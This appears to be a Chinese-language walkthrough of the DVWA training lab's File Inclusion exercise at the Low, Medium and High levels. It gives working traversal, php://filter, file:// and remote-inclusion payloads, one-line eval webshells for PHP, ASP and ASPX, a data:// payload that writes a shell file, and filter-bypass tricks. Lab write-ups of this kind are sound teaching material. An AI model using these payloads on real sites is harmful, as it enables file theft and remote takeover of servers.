LOW:
本地文件包含:
前置知识:
1.view help查看提示
2.view source查看源码
3."../"返回上一级路径
4.查看网页源代码
5."url/?page="文件包含
6."php://filter/read=convert.base64-encode/resource=*.*"php伪协议查看文件内容
writeup:
1.先view source查看文件资源,发现文件包含
2.再view help,objective(目标):只用文件包含的方式从"../hackable/flags/fi.php"里找出五句名言。
3.先尝试点击那个路径,由于没有使用"?page=",而是直接访问了该地址,所以提示我们要用文件包含
4.尝试文件包含该路径,没有返回任何东西
5.考虑目标文件不在该目录下,尝试再返回一级目录,看到成功访问,并且有3个句子,应该是我们要的内容,那么还剩下的2句没找到
6.尝试查看页面源代码,第5句也找到了,还剩第3句
7.尝试用文件伪协议查看fi.php的源代码,返回的是base64加密的源代码,拿去解码得到的内容如下,找到第3句了。
远程文件包含:
前置知识:
1)访问自己的服务器,在cmd使用"python -m http.server 端口号"开启http服务,使目标服务器能远程访问自己服务器。
2)由于windows登入了微软账户所以此时目标服务器能访问自己服务器的根目录为"C:\Users\28033",在此目录下创建要包含的文件。
3)webshell:一句话木马,将其上传到目标服务器上后能获得服务器更高权限
1.常见一句话木马:
php: <?php @eval($_POST['pass']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%<%eval(Request.Item["pass"],"unsafe");%>
2.前提:php.ini里的safe_mode = off、 disable_functions = proc_open, popen, exec, system, shell_exec里的exec去掉
4)蚂剑:返回数据为空时可选择base64编码
writeup:
1.尝试能否远程文件包含,成功返回"hello"
2.上传一句话木马,看见目标服务器访问成功,但网页没有返回任何东西,直接上蚂剑看看情况,找到目标文件了。
Medium:
远程文件包含:
前置知识:
1.大小写绕过
2.data://协议:"?xxx=data://text/plain,正文"将文本设置为纯文本格式(无格式),并在服务器上运行解析
3.双写绕过:如果过滤只过滤一次,且过滤select为空字符则可以payload=selselectect,相当于sel select ect过滤后变成sel ect
writeup:
方法一:
1.查看源码,发现对http://过滤,尝试大小写替换,然后再上传一句话木马即可
方法二:
1.payload:data://text/plain,<?php fputs(fopen('shell5.php','w'),'<?php @eval($_POST[passwd]);?>');?>
2.尝试payload,看到蚁剑连接成功
方法三:
1.尝试payload:?page=htthttp://p://192.168.3.44:8000/33.txt
2.或者尝试payload:?page=..././..././hackable/flags/fi.php
方法四:
1."../"被过滤所以尝试绝对路径
2.payload:?page=php://filter/read=convert.base64-encode/resource=/var/www/html/hackable/flags/fi.php
High:
前置知识:
1.fnmatch函数:判断字符串匹配是否匹配,匹配则函数值返回1;通配符"*"可代表一到多个字符,例子,AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll
2.file://协议:访问本地计算机的文件,用法"file:///绝对路径"
writeup:
0.由于kali的DVWA错误不回显,作弊拿到了目标文件的绝对路径"/var/www/html/hackable/flags/fi.php"
1.源码分析:要输入以"file"开头的payload
2.payload:?page=file:///var/www/html/hackable/flags/fi.php